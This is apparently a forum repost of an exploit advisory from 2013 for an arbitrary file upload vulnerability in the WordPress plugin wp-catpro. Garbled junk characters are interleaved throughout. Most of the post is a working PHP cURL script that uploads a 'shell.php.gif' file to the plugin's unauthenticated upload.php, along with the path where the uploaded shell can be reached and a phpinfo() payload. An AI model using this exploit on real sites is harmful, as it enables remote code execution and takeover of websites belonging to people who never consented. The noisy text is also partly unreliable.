Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
- x9 T/ R" Q/ |: R# c. z#-----------------------------------------------------------------------2 u, E. @% U" z$ m7 p
# T* z& i0 }; E$ k6 |1 R. S4 v# a, R
作者 => Zikou-167 l1 ^5 Z; U6 P% p1 x
邮箱 => zikou16x@gmail.com/ H6 ^4 i7 h4 w' O$ ]6 s" j) s
测试系统 : Windows 7 , Backtrack 5r3
! B# E% ^* {- w* U下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip! l' |1 A2 j' R0 Z7 \
####
- [# z0 s/ [; T3 h& | - _3 ]$ l/ A+ h3 R0 ? [6 `* p& \! S
#=> Exploit 信息:
6 h1 M. n# g5 m& p4 S% `* N/ R------------------
7 i! I' M# `! \6 H& T+ x, [: d# 攻击者可以上传 file/shell.php.gif
) Z* x% ]9 X+ `7 B4 N# ("jpg", "gif", "png") // Allowed file extensions" G/ D# p) n8 L F# [+ P8 \, P6 W
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment) D/ Q" G. }8 b: v9 }6 \' z+ M
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
# o# _8 p) h3 g" k------------------
- x6 [( e: v- X# b3 p, u
. s. `0 c4 T+ \" `( |- G& s#=> Exploit
5 p3 P) A5 |) f-----------
9 L; j( X1 [4 z! n9 F) |<?php
7 Y) D8 o3 r9 K' X6 | . a' `2 ~/ b; n) M* d
$uploadfile="zik.php.gif";5 l J1 E% l1 S- \6 {
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
1 J1 {8 w) p3 b6 D5 v& M) hcurl_setopt($ch, CURLOPT_POST, true);
$ q8 L3 C. Q- g0 g) X- o. n4 jcurl_setopt($ch, CURLOPT_POSTFIELDS,
; B3 q- n' ?# Carray('Filedata'=>"@$uploadfile",* w& Y# X& F1 d8 t
'folder'=>'/wp-content/uploads/catpro/'));0 G+ f$ x& D5 o! j8 n, o
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);6 c6 x! w1 S o6 b+ N+ I
$postResult = curl_exec($ch);7 Q0 ?* y& d8 I) s
curl_close($ch);
2 \6 q$ m, e% O" g$ C' K
. E6 ]1 G; G; Lprint "$postResult";: R1 l" _) j# P: m% \6 N
5 h, p- h& \$ s, \
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
* z' }2 c( ?( S5 D6 C ?>; q& M4 Q6 G3 c9 j8 e& E
<?php
% v$ r d( g1 Q# a$ L7 n5 Vphpinfo();
' }! J4 \8 C4 m' H3 J8 r?> |
发表于 2013-2-27 20:12:43
收藏
支持
反对